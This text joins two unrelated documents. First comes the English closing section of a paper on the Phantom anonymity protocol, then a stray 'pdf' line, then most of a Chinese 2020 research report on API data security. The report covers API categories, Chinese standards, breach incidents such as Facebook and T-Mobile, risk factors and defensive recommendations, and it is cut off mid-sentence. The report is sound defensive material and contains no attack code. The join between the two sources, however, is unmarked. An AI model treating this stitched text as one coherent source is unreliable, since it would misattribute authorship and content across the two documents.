listed in the previous section), is the I2P protocol. Readers are indeed encouraged to give it a closer look, in the hope of such examination inspiring even more fruitful discussions. 12.1. Central Project Location A Google Code repository has been reserved for the project, which will hopefully be able to work as a central coordinating location for future design, development and implementation of the Phantom protocol and the ideas inspired by it. It hosts a code repository, a discussion group, a wiki and a blog, and all the other common tools enabling participants to collaborate in such a shared project. It can be found here: http://code.google.com/p/phantom Just as with any other community project, In order to live on and thrive, the Phantom project needs dedicated and knowledgeable people to participate and contribute. Thus, if you want to be a maintainer, developer or otherwise part of the project, please don’t hesitate to join in at any time at the project site, or to contact me directly5! 5 magnus.brading [at] fortego.se
pdf
应用程序接口(API) 数据安全研究报告 (2020 年) 中国信息通信研究院安全研究所 2020 年 7 月 版权声明 本报告版权属于中国信息通信研究院安全研究所,并受 法律保护。转载、摘编或利用其它方式使用本报告文字或者 观点的,应注明“来源:中国信息通信研究院安全研究所”。 违反上述声明者,本院将追究其相关法律责任。 前 言 伴随着云计算、大数据、人工智能等技术的蓬勃发展,移动互 联网、物联网产业加速创新,移动设备持有量不断增加,Web 应用、 移动应用已融入生产生活的各个领域。这一过程中,应用程序接口 (Application Programming Interface,API)作为数据传输流转 的重要通道发挥着举足轻重的作用。API 技术不仅帮助企业建立与客 户沟通的桥梁,还承担着不同复杂系统环境、组织机构之间的数据 交互、传输的重任。然而,在 API 技术带来上述积极作用的同时, 与其相关的数据安全问题也日益凸显。 近年来,国内外曝出多起与 API 相关的数据安全事件,严重损 害了相关企业、用户的合法权益。我国多个行业已出台相关规范性 文件,覆盖通信、金融、交通等诸多领域,对 API 安全提出了一定 要求,对其技术部署、安全管理等进行规范。然而当前已研制标准 主要针对特定 API 类型、应用场景提出要求,尚未全面覆盖 API 数 据安全,相关标准规范体系有待完善。 本报告围绕近年来 API 安全态势,分析梳理了 API 技术面临的 内、外部安全风险,针对事前、事中、事后不同阶段的安全需求差 异,从 API 安全管理、防护手段、风险管控等多角度为企业实现高 效、灵活的 API 安全实践提出了针对性建议。 技术支持: 全知科技(杭州)有限责任公司 联系人: 王丹辉 中国信息通信研究院 电子邮件:[email protected] 解伯延 中国信息通信研究院 电子邮件:[email protected] 朱通 全知科技(杭州)有限责任公司 费嫒 全知科技(杭州)有限责任公司 目 录 一、 API 的基本情况..................................................................................................1 (一) API 简介............................................................................................... 1 (二) API 分类及组成要素........................................................................... 2 1. API 分类.............................................................................................2 2. API 组成要素.....................................................................................3 (三) API 安全标准化情况........................................................................... 4 二、 近年来 API 安全态势.......................................................................................10 (一) Facebook 多起数据泄露事件与 API 有关....................................... 10 (二) 美国邮政服务 API 漏洞导致用户信息泄露.................................... 11 (三) T-Mobile API 漏洞导致用户账号被窃取....................................... 11 (四) Twitter 虚假账户利用 API 批量匹配用户信息............................. 12 (五) 考拉征信非法出售 API 导致个人信息泄露.................................... 12 (六) 新浪微博用户查询接口被恶意调用导致数据泄露........................ 12 (七) 微信团队收回小程序"用户实名信息授权"接口............................ 13 三、 安全风险分析...................................................................................................13 (一) 外部威胁因素.................................................................................... 13 1. API 漏洞导致数据被非法获取.......................................................14 2. API 成为外部网络攻击的重要目标...............................................14 3. 网络爬虫通过 API 爬取大量数据..................................................14 4. 合作第三方非法留存接口数据......................................................15 5. API 请求参数易被非法篡改...........................................................15 (二) 内部脆弱性因素................................................................................ 16 1. 身份认证机制..................................................................................16 2. 访问授权机制..................................................................................17 3. 数据脱敏策略..................................................................................17 4. 返回数据筛选机制..........................................................................18 5. 异常行为监测..................................................................................18 6. 特权账号管理..................................................................................19 7. 第三方管理......................................................................................19 四、 安全建议...........................................................................................................20 (一) 事前.................................................................................................... 20 1. 统一 API 设计开发规范,减少安全隐患......................................20 2. 强化 API 上线、变更、下线环节实时监控,确保全生命周期安全 ................................................................................................................20 3. 完善 API 身份认证和授权管理机制,强化接口接入安全审核..21 4. 健全 API 安全防护体系,提升抵御外部威胁能力......................21 5. 加大 API 安全保护宣传力度,提高员工安全意识......................22 (二) 事中.................................................................................................... 22 1. 加强 API 身份认证实时监控能力建设..........................................22 2. 加强异常行为实时监测预警能力建设..........................................22 3. 加强数据分类分级管控能力建设..................................................23 4. 加强 API 数据流向监控能力建设..................................................23 (三) 事后.................................................................................................... 24 1. 建立健全应急响应机制..................................................................24 2. 建立健全日志审计机制..................................................................24 3. 建立健全数据泄露溯源追责机制..................................................25 五、 附录...................................................................................................................26 (一) 全知科技 API 安全实践.................................................................... 26 1. 开放 API 安全实践..........................................................................26 2. 面向合作方 API 安全实践..............................................................29 3. 内部 API 安全实践..........................................................................31 (二) 观安 API 安全实践............................................................................ 34 1. 安全方案..........................................................................................34 2. 技术手段..........................................................................................35 3. 实践应用..........................................................................................38 4. 发展趋势..........................................................................................40 (三) 爱加密 API 安全实践........................................................................ 41 1. 安全方案..........................................................................................41 2. 技术手段..........................................................................................43 3. 实践应用..........................................................................................44 4. 产品研发..........................................................................................47 表 目 录 表 1 相关国家标准例举............................................................................................5 表 2 相关通信行业标准例举....................................................................................6 表 3 相关金融行业标准例举....................................................................................8 表 4 相关交通行业标准例举....................................................................................9 应用程序接口(API)数据安全研究报告(2020 年) 1 一、API 的基本情况 伴随着云计算、移动互联网、物联网的蓬勃发展,越来越多的 开发平台和第三方服务快速涌现,应用系统与功能模块复杂性不断 提升,应用开发深度依赖于应用程序接口(Application Programming Interface,API)之间的相互调用。近年来移动应用深入普及,促 使社会生产、生活活动从线下转移到了线上,特别在此次新冠肺炎 疫情期间,协同办公、在线教育、便民服务等领域移动应用积极助 力复工复产,各地依托大数据推出“健康码”等疫情防控新举措, API 在其中起到了紧密链接各个元素的作用。为满足各领域移动应用 业务需要,API 的绝对数量持续增长,通过 API 传递的数据量也飞速 增长。API 技术借助移动应用蓬勃发展的势头融入社会经济的方方面 面,不仅为数据交互提供了便利,并且推动了企业、组织机构间的 沟通和对话,甚至创造了新的经济模式:API 经济。 (一)API 简介 API 是预先定义的函数,为程序之间数据交互和功能触发提供服 务。调用者只需调用 API,并输入预先约定的参数,即可实现开发者 封装好的各种功能,无需访问功能源码或理解功能的具体实现机制。 从功能角度来看,API 是前端调用后端数据的通道;从业务角度 来看,API 是将封装后的应用对外开放的访问接口。在信息系统内部, 随着业务功能的逐渐细化,各个功能模块之间需要利用 API 技术来 进行协调;在信息系统外部,API 承担着与其他应用程序进行交互的 应用程序接口(API)数据安全蓝皮报告(2020 年) 2 重要任务。 (二)API 分类及组成要素 1.API 分类 API 技术应用广泛,可满足不同领域、不同业务的数据传输和操 作需求,在包括软件开发工具包(Software Development Kit,SDK)、 Web 应用、网关等诸多领域均可发现 API 的身影。因此,从应用领域 角度难以合理清晰地区分其种类。为此,本报告从 API 开放程度和 API 核心技术两个维度进行分类介绍。 (1)按 API 开放程度分类 从 API 的开放程度出发,API 可以分为开放 API、面向合作方 API 和内部 API。 开放 API 是面向公网开放的接口,此类 API 允许公众调用。调 用者可以是任何人或者机构,不需要和 API 提供者建立合作关系, 例如公司门户网站等。 面向合作方 API 指的是企业或组织用来与外部合作伙伴进行沟 通、交流和系统集成的 API,例如面向外包机构、设备供应商等。 内部 API 仅在企业或组织内部使用,用来协调内部不同系统、 应用之间的调用关系,例如 CRM 系统 API、薪资系统 API 等。 (2)按 API 核心技术分类 从 API 核心技术进行划分,可分为简单对象访问协议(Simple 应用程序接口(API)数据安全蓝皮报告(2020 年) 3 Object Access Protocol,SOAP)API,RESTful(Representational State Transfer,REST)API 及远程过程调录(Remote Procedure Call, RPC)API。 SOAP API 是指使用 Web 服务安全性内置协议的 API。基于 XML 协议,此类 API 技术可与多种互联网协议和格式结合使用,包括超 文本传输协议(HTTP)、简单邮件传输协议(SMTP)、多用途网际 邮件扩充协议(MIME)等。 RPC API 是指使用远程过程调录协议进行编程的 API,RPC 技术 允许计算机调用其他计算机的子系统,并定义了结构化的请求方式。 不同于上述两类依托于协议的 API 技术,RESTful API 是一种架 构,其通过 HTTP 和 JSON 进行传输,不需要存储或重新打包数据, 同时支持 TLS 加密。 2.API 组成要素 API 通常包含如下组成要素,在这些要素的共同作用下,API 才 能发挥预期作用。 (1)通信协议:API 一般利用 HTTPS 等加密通讯协议进行数据 传输,以确保数据交互安全。 (2)域名:用于指向 API 在网络中的位置。API 通常被部署在 主域名或者专用域名之下,接入方可通过域名调用相关 API。 (3)版本号:不同版本的 API 可能存在巨大差异,尤其对于多 版本并存、增量发布等情况,API 版本号有助于准确区分 API 的参数 应用程序接口(API)数据安全蓝皮报告(2020 年) 4 设置。 (4)路径:路径又称“终点”(end point),指表示 API 及 API 执行功能所需资源的具体地址。 (5)请求方式:API 常用的请求方式有 GET、POST、PUT 和 DELETE 四种,分别用于获取、更新、新建、删除指定资源。 (6)请求参数:即传入参数,包含数据格式、数据类型、可否 为空以及文字描述等内容。传入参数主要包括 Cookie、Request header、请求 body 数据和地址栏参数等。 (7)响应参数:即返回参数或传出参数,返回参数本身默认没 有值,用于带出请求参数要求 API 后台所返回的数据。 (8)接口文档:接口文档是记录 API 相关信息的文档,内容包 括接口地址、请求方式、传入参数(请求参数)和响应参数等。 (三)API 安全标准化情况 近年来,我国陆续出台多部数据接口有关标准,对数据接口在 不同领域的应用、部署、管理、防护等进行了规范。 在国家标准层面,我国多部现行及制定中的国家标准针对 API 安全提出了安全要求。GB/T 35273-2020《信息安全技术 个人信息 安全规范》将 API 开发、调用与个人信息安全相结合,明确指出“个 人信息控制者在提供产品或服务的过程中部署了收集个人信息的第 三方插件(例如网站经营者与在其网页或应用程序中部署统计分析 工具、软件开发工具包 SDK、调用地图 API 接口),且该第三方并未 应用程序接口(API)数据安全蓝皮报告(2020 年) 5 单独向个人信息主体征得收集、使用个人信息的授权同意,则个人 信息控制者与该第三方为共同个人信息控制者。”制定中的国家标 准 GB/ XXXX-XX《信息安全技术 政务信息共享 数据安全技术要求》 要求共享交换过程中涉及的授权方(共享数据提供方、共享交换服 务方)“支持资源文件、库表、接口等各共享方式上不同粒度的权 限控制”,并在级联接口安全方面要求“共享交换服务方应采用密 码技术对共享交换系统间的级联接口进行安全防护,保障通过级联 接口传递的数据的保密性和完整性。” 表 1 相关国家标准例举 序号 标准编号 标准名称 1 GB/T 35273-2020 《信息安全技术 个人信息安全规范》 2 GB/T 36478.4-2019 《物联网 信息交换和共享 第 4 部 分:数据接口》 3 GB/T 21062.3-2007 《政务信息资源交换体系 第 3 部分: 数据接口规范》 4 GB/T 19581-2004 《信息技术 会计核算软件数据接口》 5 GB/ XXXX-XX 《信息安全技术 政务信息共享 数据 安全技术要求(征求意见稿)》 来源:中国信息通信研究院 在通信行业标准方面,随着云计算、移动互联网等领域的快速 发展,通信行业针对特定 API 类型、API 应用场景等制定了一系列标 准,细化了 API 相关安全要求与规范。其中 YD/T 2807.4-2015《云 应用程序接口(API)数据安全蓝皮报告(2020 年) 6 资源管理技术要求 第 4 部分:接口》对涉及的接口类型进行了梳理, 规定了云资源管理平台及分平台间接口的技术要求。YD/T 3217-201 7《基于表述性状态转移(REST)技术的业务能力开放应用程序接口 (API)视频共享》则针对基于 REST 技术的视频共享能力开放 API 进行了规范,涵盖了接口资源定义、资源操作、数据结构、基本流 程和安全要求等多方面内容。 表 2 相关通信行业标准例举 序号 标准编号 标准名称 1 YD/T 3420.8-2019 《基于公用电信网的宽带客户网关虚拟 化 第 8 部分:接口要求》 2 YD/T 3496-2019 《Web 安全日志格式及共享接口规范》 3 YD/T 3242-2017 《生物灾害防治和预警系统 信息发布 网络接口技术要求》 4 YD/T 3217-2017 《基于表述性状态转移(REST)技术的 业务能力开放应用程序接口(API)视频 共享》 5 YD/T 2406-2017 《互联网数据中心和互联网接入服务信 息安全管理系统及接口测试方法》 6 YD/T 3215-2017 《互联网资源协作服务信息安全管理系 统及接口测试方法》 7 YD/T 3214-2017 《互联网资源协作服务信息安全管理系 统接口规范》 应用程序接口(API)数据安全蓝皮报告(2020 年) 7 8 YD/T 3213-2017 《内容分发网络服务信息安全管理系统 及接口测试方法》 9 YD/T 3212-2017 《内容分发网络服务信息安全管理系统 接口规范》 10 YD/T 3189-2016 《基于表述性状态转移(REST)技术的 业务能力开放应用程序接口(API)状态 呈现业务》 11 YD/T 2807.4-2015 《云资源管理技术要求 第4部分:接口》 12 YD/T 2464-2013 《基于表述性状态转移(REST)技术的 业务能力开放应用程序接口(API)搜索 业务》 13 YD/T 1661-2007 《基于互联网服务(Web Service)的开 放业务接入应用程序接口(Parlay X) 技术要求》 14 YD/T 1262-2003 《开放业务接入应用程序接口(PARLAY API)技术要求》 来源:中国信息通信研究院 在金融行业标准方面,已发布多部标准对 API 技术的部署、管 理进行规范。其中 JR/T 0171-2020《个人金融信息保护技术规范》 要求金融机构嵌入或接入 API 时,应符合相应技术规范要求,进行 检查、评估和审计。JR/T 0185—2020《商业银行应用程序接口安全 管理规范》则对 API 技术提出了包括数据完整性保护、授权管理、 应用程序接口(API)数据安全蓝皮报告(2020 年) 8 使用情况监控、接口访问日志留存、安全密钥管理、网络安全防护 措施部署、接口安全监测、接口调用控制、接口变更处理、应急处 理方案、安全审计溯源等一系列安全要求。 表 3 相关金融行业标准例举 序号 标准编号 标准名称 1 JR/T 0185-2020 《商业银行应用程序接口安全管理规 范》 2 JR/T 0171-2020 《个人金融信息保护技术规范》 3 JR/T 0160-2018 《期货市场客户开户数据接口》 4 JR/T 0155.1-2018 《证券期货业场外市场交易系统接口 第 1 部分:行情接口》 5 JR/T 0155.2-2018 《证券期货业场外市场交易系统接口 第 2 部分:订单接口》 6 JR/T 0155.3-2018 《证券期货业场外市场交易系统接口 第 3 部分:结算接口》 7 JR/T 0151-2016 《期货公司柜台系统数据接口规范》 8 JR/T 0109.2-2015 《智能电视支付应用规范 第 2 部分:报 文接口规范》 9 JR/T 0109.4-2015 《智能电视支付应用规范 第 4 部分:通 信接口规范》 10 JR/T 0078-2014 《银行间市场数据接口》 应用程序接口(API)数据安全蓝皮报告(2020 年) 9 11 JR/T 0096.1-2012 《中国金融移动支付 联网联合 第 1 部 分:通信接口规范》 12 JR/T 0087-2012 《股指期货业务基金与期货数据交换接 口》 13 JR/T 0055.5-2009 《银行卡联网联合技术规范 第 5 部分: 通信接口》 14 JR/T 0024-2004 《国际收支统计间接申报银行接口规范 通用要素》 来源:中国信息通信研究院 在交通行业标准方面,也相继出台了包括 JT/T 1183-2018《出 租汽车 ETC 支付接口规范》、JT/T 1049-2017《道路运政管理信息 系统》在内的多部 API 相关标准和规范性文件。 表 4 相关交通行业标准例举 编号 标准编号 标准名称 1 JT/T 1183-2018 《出租汽车 ETC 支付接口规范》 2 JT/T 1049-2017 《道路运政管理信息系统》 3 JT/T 1049.5-2017 《道路运政管理信息系统第 5 部分:省 级业务系统接口》 4 JT/T 1019.3-2016 《12328 交通运输服务监督电话系统 第 3 部分:数据交换与信息共享接口技术 要求》 5 JT/T 1049.2-2016 《道路运政管理信息系统第 2 部分:数 应用程序接口(API)数据安全蓝皮报告(2020 年) 10 据资源采集接口》 6 JT/T 1049.3-2016 《道路运政管理信息系统第 3 部分:数 据资源目录服务接口》 7 JT/T 979.1-2015 《道路客运联网售票系统 第 1 部分:服 务接口规范》 8 JT/T 785-2010 《道路运输管理与服务系统数据交换接 口》 来源:中国信息通信研究院 二、近年来 API 安全态势 API 在互联网时代向大数据时代快速过渡的浪潮中承担着连接 服务和传输数据的重任,在通信、金融、交通等诸多领域得到广泛 应用。API 技术已经渗透到了各个行业,涉及包含敏感信息、重要数 据在内的数据传输、操作,乃至各种业务策略的制定环节。伴随着 API 的广泛应用,传输交互数据量飞速增长,数据敏感程度不一,API 安全管理面临巨大压力。 近年来,国内外已发生多起由于 API 漏洞被恶意攻击或安全管 理疏漏导致的数据安全事件,对相关企业和用户权益造成严重损害, 逐渐引起各方关注。为此,部分企业已经积极采取改进 API 安全策 略、出台替代方案等防护措施,应对日益严峻的安全形势。 (一)Facebook 多起数据泄露事件与 API 有关 2018 年 9 月,黑客利用 Facebook 某 API 安全漏洞获取数百万用 应用程序接口(API)数据安全蓝皮报告(2020 年) 11 户信息。Facebook 提供“View As”功能允许开发者以用户身份查看 页面,由于相关 API 存在安全漏洞,造成大量用户访问口令(Access Token)泄露,并导致大量用户个人信息被不法分子窃取,近 5000 万用户受到影响。 2018 年 12 月,Facebook 再次曝出 API 漏洞导致用户个人信息 泄露事件,影响近 680 万用户及 1500 个使用该 API 的 App。该漏洞 允许第三方 App 访问用户 Facebook 账户内未公开的照片,App 还可 能利用该漏洞在用户访问中断或退出程序后获取用户设备缓存中的 数据。 2019 年 12 月,国外安全人员发现超过 2.67 亿条 Facebook ID、 电话号码和姓名等信息被储存在某公开数据库中。有研究显示,该 数据库中的数据可能通过某未知 API 接口抓取,并非来自用户公开 信息。Facebook 称将对这一事件展开调查。 (二)美国邮政服务 API 漏洞导致用户信息泄露 2018 年,国外研究人员发现美国邮政服务(USPS)API 漏洞可 能导致超过 6000 万用户个人信息被窃取。出现漏洞的“Informed Visibility”接口旨在为 USPS 旗下运输业务提供实时跟踪数据,但 由于未设置如限速限流在内的防护措施,使得这一 API 接口遭到不 法分子滥用。 (三)T-Mobile API 漏洞导致用户账号被窃取 2019 年 11 月,美国电信运营商 T-Mobile 曝出 Web 应用程序界 应用程序接口(API)数据安全蓝皮报告(2020 年) 12 面漏洞。不法分子通过该漏洞窃取了 T-Mobile 用户电子邮箱地址、 设备识别信息、安全问题答案等信息,进而利用非法获取的信息冒 充客户挂失手机 SIM 卡,接管受害者电话服务,并通过该手机号码 绑定的双重认证、账户恢复等功能非法访问或窃取用户账号。约 1500 万 T-Mobile 用户受到影响。 (四)Twitter 虚假账户利用 API 批量匹配用户信息 2019 年 12 月 24 日,Twitter 公司发现大量虚假账户非法调用 提供电话号码搜索用户功能的 API 接口。不法分子可利用这一接口 获取用户信息,进而开展钓鱼攻击、电话诈骗等违法活动。Twitter 于事件曝光后紧急修改该接口功能使相关查询无法返回具体的账户 名称。 (五)考拉征信非法出售 API 导致个人信息泄露 2019 年 11 月,拉卡拉支付旗下的考拉征信因非法缓存公民个人 信息、出售查询 API 遭警方调查。警方表示,经查考拉征信从上游 公司获取接口后又违规将查询接口卖出,并利用查询接口非法缓存 公民姓名、身份证号码和身份证照片等个人身份信息一亿多条,供 下游公司查询牟利,从而造成公民身份信息包括身份证照片的大量 泄露。案件发生后,警方已将考拉征信涉案人员抓获。 (六)新浪微博用户查询接口被恶意调用导致数据泄 露 应用程序接口(API)数据安全蓝皮报告(2020 年) 13 2020 年 3 月 19 日,媒体报道新浪微博因用户查询接口被恶意调 用导致 App 数据泄露。新浪微博方面称此次数据泄露可追溯至 2018 年末,有用户非法调用 App 用户查询接口,通过批量上传手机通讯 录匹配用户账号昵称,并结合其他渠道获取的信息进行出售。事件 曝光后,新浪微博表示将采取升级接口安全策略等措施,做好用户 个人信息保护工作。 (七)微信团队收回小程序"用户实名信息授权"接口 2020 年 3 月 31 日,腾讯微信团队在“微信开放社区”发布《关 于收回小程序"用户实名信息授权"接口的相关说明》,称为进一步 提升用户使用的安全体验,将于 2020 年 5 月 31 日收回小程序“用 户实名信息授权”接口,并停止了该接口的申请和接入。微信方要 求无相关业务场景或需求的小程序停止使用该接口,并向仍有用户 实名认证需求的小程序提供“实名信息校验接口”作为替代方案。 三、安全风险分析 (一)外部威胁因素 从近年API安全态势可以看出,API技术被应用于各种复杂环境, 其背后的数据一方面为企业带来商机与便利,另一方面也为数据安 全保障工作带来巨大压力。特别在开放场景下,API 的应用、部署面 向个人、企业、组织机构等不同用户主体,面临着外部用户群体庞 大、性质复杂、需求不一等诸多挑战,需时刻警惕外部安全威胁。 应用程序接口(API)数据安全蓝皮报告(2020 年) 14 1.API 漏洞导致数据被非法获取 在 API 的开发、部署过程中不可避免产生安全漏洞,这些漏洞 通常存在于通信协议、请求方式、请求参数和响应参数等环节。不 法分子可能利用 API 漏洞(如缺少身份认证、水平越权漏洞、垂直 越权漏洞等)窃取用户信息、企业核心数据。例如在开发过程中使 用非 POST 请求方式、Cookie 传输密码等操作登录接口,存在 API 鉴 权信息暴露风险,可能使得 API 数据被非法调用或导致数据泄露。 2.API 成为外部网络攻击的重要目标 API 是信息系统与外部交互的主要渠道,也是外部网络攻击的主 要对象之一。针对 API 的常见网络攻击包括重放攻击、DDoS 攻击、 注入攻击、会话 cookie 篡改、中间人攻击、内容篡改、参数篡改等。 通过上述攻击,不法分子不仅可以达到消耗系统资源、中断服务的 目的,还可以通过逆向工程,掌握 API 应用、部署情况,并监听未 加密数据传输,窃取企业数据。 3.网络爬虫通过 API 爬取大量数据 网络爬虫能够在短时间内爬取目标应用上的所有数据,常表现 为某时间段内高频率、大批量进行数据访问,具有爬取效率高、获 取数据量大等特点。通过开放 API 对 HTML 进行抓取是网络爬虫最简 单直接的实现方式之一,不法分子通常采用假 UA 头和假 IP 隐藏身 份,一但获取企业内部账户,可能利用网络爬虫获取该账号权限内 的所有数据。如果存在水平越权和垂直越权等漏洞,在缺少有效的 应用程序接口(API)数据安全蓝皮报告(2020 年) 15 权限管理机制情况,不法分子可以通过掌握的参数特征构造请求参 数进行遍历,导致数据被全量泄露。此外,移动应用软件客户端数 据多以 JSON 形式传输,解析更加简单,反爬虫能力更弱,更易受到 网络爬虫威胁。 4.合作第三方非法留存接口数据 企业通过 API 实现与合作第三方之间数据交互的过程中,可能 存在合作方恶意留存接口数据的风险。以个人身份验证类合作为例, 在需要进行实名验证的时候,合作方可通过 API 请求调用相关个人 身份信息。正常情况下,服务器获取请求后在后端进行验证并返回 结果,此过程中恶意合作方可能留存验证结果,经过长时间积累, 非法变相获取大量的个人身份信息资源,对企业数据库形成事实上 的拖库。 5.API 请求参数易被非法篡改 不法分子可通过篡改 API 请求参数,结合其它信息匹配映射关 系,达到窃取数据的目的。以实名身份验证过程为例,用户端上传 身份证照片后,身份识别 API 提取信息并输出姓名和身份证号码, 再传输至公安机关相应 API 进行核验,并输出认证结果。此过程中, 不法分子可通过修改身份识别 API 请求参数中的姓名、身份证号码 组合,通过遍历的方式获取姓名与身份证号码的正确组合。可被篡 改的 API 参数通常有姓名、身份证号码、账号、员工 ID 等。此外, 企业中员工 ID 与职级划分通常有一定关联性,可与员工其它信息形 应用程序接口(API)数据安全蓝皮报告(2020 年) 16 成映射关系,为 API 参数篡改留有可乘之机。 (二)内部脆弱性因素 应对外部威胁的同时,API 也面临许多来自内部的风险挑战。一 方面,传统安全通常是通过部署防火墙、WAF、IPS 等安全产品,将 组织内部与外部相隔离,达到纵深防御的目的,但是这种安全防护 模式建立在威胁均来自于组织外部的假设前提上,无法解决内部隐 患。另一方面,API 类型和数量随着业务发展而扩张,通常在设计初 期未进行整体规划,缺乏统一规范,尚未形成体系化的安全管理机 制。因此,从内部脆弱性来看,影响 API 安全的因素主要包括以下 几方面。 1.身份认证机制 身份认证是保障 API 数据安全第一道防线。一方面,若企业将 未设置身份认证的内网 API 接口或端口开放到公网,可能导致数据 被未授权访问、调用、篡改、下载。不同于门户网站等可以公开披 露的数据,部分未设置身份认证机制的接口背后涉及企业核心数据, 暴露与公开易引发严重安全事件。另一方面,身份认证机制可能存 在单因素认证、无口令强度要求、密码明文传输等安全隐患。在单 因素身份验证的前提下,如果口令强度不足,身份认证机制将面临 暴力破解、撞库、钓鱼、社会工程学攻击等威胁。如果未对口令进 行加密,不法分子则可能通过中间人攻击获取接口认证信息。 应用程序接口(API)数据安全蓝皮报告(2020 年) 17 2.访问授权机制 访问授权机制是保障 API 数据安全的第二道防线。用户通过身 份认证即可进入访问授权环节,此环节决定用户是否有权调用该接 口进行数据访问。系统在识别用户之后,会根据权限控制表或权限 控制矩阵判断该用户的数据操作权限。常见的访问权限控制策略有 三种,基于角色的授权(Role-Based Access Control)、基于属性 的授权(Attribute-Based Access Control)以及基于访问控制表 授权(Access Control List)。访问授权机制风险通常表现为用户 权限大于其实际所需权限,从而该用户可以接触到本无权访问的数 据。导致这一风险的常见因素包括授权策略选择不恰当、授权有效 期过长、未及时收回权限等。 3.数据脱敏策略 除了为不同的业务需求方提供数据传输以外,为前端界面展示 提供数据支持也是 API 的重要功能之一。API 数据脱敏策略通常可分 为前端脱敏和后端脱敏。前者指数据被 API 传输至前端后再进行脱 敏处理;后者则相反,API 在后端完成脱敏处理,再将已脱敏数据传 输至前端。如果未在后端对个人敏感信息等数据进行脱敏处理,且 未加密传输,一旦流量被截获、破解,将对企业、公民个人权益造 成严重影响。此外,未脱敏数据在传输至前端时,如被接收方终端 缓存,也可能导致敏感数据暴露。而脱敏策略不统一可能导致相同 数据脱敏部分不同,不法分子可通过拼接方式获取原始数据,造成 应用程序接口(API)数据安全蓝皮报告(2020 年) 18 脱敏失效。 4.返回数据筛选机制 如果 API 缺乏有效的返回数据筛选机制,可能由于返回数据类 型过多、数据量过大等因素形成安全隐患。首先,部分 API 设计初 期未根据业务进行合理细分,未建立单一、定制化接口,使得接口 臃肿、数据暴露面过大。其次,在安全规范欠缺和安全需求不明确 的情况下,API 开发人员可能以提升速度为目的,在设计过程中忽视 后端服务器返回数据的筛选策略,导致查询接口会返回符合条件的 多个数据类型,大量数据通过接口传输至前端并进行缓存。如果仅 依赖于前端进行数据筛选,不法分子可能通过调取前端缓存获取大 量未经筛选的数据。 5.异常行为监测 异常访问行为通常指非工作时间访问、访问频次超出需要、大 量敏感信息数据下载等非正常访问行为。即使建立了身份认证、访 问授权、敏感数据保护等机制,有时仍无法避免拥有权限的用户进 行数据非法查询、修改、下载等操作,此类访问行为往往未超出账 号权限,易被管理者忽视。异常访问行为通常与可接触敏感数据岗 位或者高权限岗位密切相关。如负责管理客户信息的员工可能通过 接口获取用户隐私信息出售谋利;即将离职的高层管理人员可能将 大量公司机密和敏感信息带到下一家公司,以在商业竞争中占据优 势等。美国执法机构和网络安全监管机构调查结果显示超过 85%的安 应用程序接口(API)数据安全蓝皮报告(2020 年) 19 全威胁来自企业内部,企业必须高度重视可能由内部人员引发的数 据安全威胁。 6.特权账号管理 从数据使用的角度来说,特权账号指系统内具有敏感数据读写 权限等高级权限的账号,涉及操作系统、应用软件、企业自研系统、 网络设备、安全系统、日常运维等诸多方面,常见的特权账号有 admin、 root、export 账号等。除企业内部运维管理人员外,外包的第三方 管理人员、临时获得权限的设备原厂工程人员等也可能使用特权账 号。多数特权账号可通过 API 进行访问,有心者可能以特权账号非 法查看、篡改、下载企业数据。此外,部分企业出于提升开发运维 速度的考虑会在团队内共享账号,并允许不同的开发运维人员从各 自终端登陆并操作,一旦发生数据安全事件,难以快速定位责任主 体。 7.第三方管理 当前,需要共享业务数据的应用场景日益扩展,第三方调用 API 访问企业数据完成业务工作的同时,也成为了企业的安全短板。尤 其对于涉及个人敏感信息或重要数据的 API,如果企业忽视对第三方 进行风险评估和有效管理、缺少对其数据安全防护能力的审核,一 旦第三方存在安全隐患或不法企图,可能发生数据被篡改、泄露、 甚至非法贩卖等安全事件,对企业数据安全、社会形象乃至经济利 益造成影响。 应用程序接口(API)数据安全蓝皮报告(2020 年) 20 四、安全建议 API 安全是当今时代数据安全保护的重要一环。企业应在把握自 身现状的基础上梳理 API 相关安全风险,建立健全 API 安全管理制 度,针对事前、事中和事后各阶段管理和技术需求差异,部署相应 安全措施,加强数据安全风险防范。 (一)事前 1.统一 API 设计开发规范,减少安全隐患 缺乏统一规范、开发维护不当导致的安全漏洞等脆弱性因素可 能为 API 带来严重安全隐患。建议企业建立健全 API 设计、开发、 测试等环节标准规范和管理制度,引导 API 开发运维流程标准化, 提高对 API 安全的重视程度,将相关要求以制度规程等形式进行沉 淀、落实,避免遗留严重安全漏洞、恶性 bug 等脆弱性因素,威胁 接口安全。 2.强化 API 上线、变更、下线环节实时监控,确保全生 命周期安全 API 全生命周期包括 API 上线、变更和下线三个环节。企业应对 自身 API 部署情况进行全面排查,梳理统计 API 类型、活跃接口数 量、失活接口数量等资产现状,针对 API 上线、运行中变更、失活 后下线等环节进行实时监控。企业应在新 API 上线前进行风险评估, 发现问题暂停上线并及时调整,确保上线 API 安全性;上线后应对 应用程序接口(API)数据安全蓝皮报告(2020 年) 21 其运行情况进行实时监控,发现接口运行异常、恶意调用等情况及 时采取防护措施,修复相应问题;若 API 不再使用,企业应遵循下 线流程及时进行处理,防止失活 API 持续在线,成为安全隐患。 3.完善 API 身份认证和授权管理机制,强化接口接入安 全审核 企业应针对除信息公开披露场景以外的 API 建立有效的身份认 证机制,对现有身份认证机制密码强度、双因素认证、密码更新等 安全要素进行评估,健全身份认证机制;在建立有效的身份认证基 础上,建立健全访问授权机制,严格遵循最小必要权限原则,尤其 针对提供数据增、删、改等高危操作的 API,严格规范用户权限管理; 对涉及敏感信息、重要数据的 API 加强接入方资质和数据安全防护 能力审核,规范合作要求,避免因接入方原因导致数据安全事件。 4.健全 API 安全防护体系,提升抵御外部威胁能力 企业应加强 API 安全防护能力建设,针对重要接口部署专门的 防护设备保障其安全,建立健全安全防护体系。具体措施包括但不 限于部署 API 网关统一接口管理;利用 VPN 等加密通道传输数据; 部署应用防护系统保护 Web 应用;建立 API 访问白名单机制;部署 抗 DDoS 工具等。从而提升企业 API 抵御外部威胁的能力,降低数据 安全事件发生几率。 应用程序接口(API)数据安全蓝皮报告(2020 年) 22 5.加大 API 安全保护宣传力度,提高员工安全意识 企业应加大对 API 安全保护的宣传力度,缩小各部门之间对 API 安全重视程度差异,提高员工特别是 API 开发运维人员的安全意识, 进一步提高企业整体数据安全认识。推动 API 保护相关机制、技术 手段落地,避免因 API 安全管理疏漏等内部因素导致数据泄露、丢 失、损毁等安全事件,对企业业务发展、社会形象造成负面影响。 (二)事中 1.加强 API 身份认证实时监控能力建设 企业应加强 API 身份认证实时监控能力建设,重点监控高频登 录尝试、空 Referer、非浏览器 UA 头登录等具有典型机器行为特征 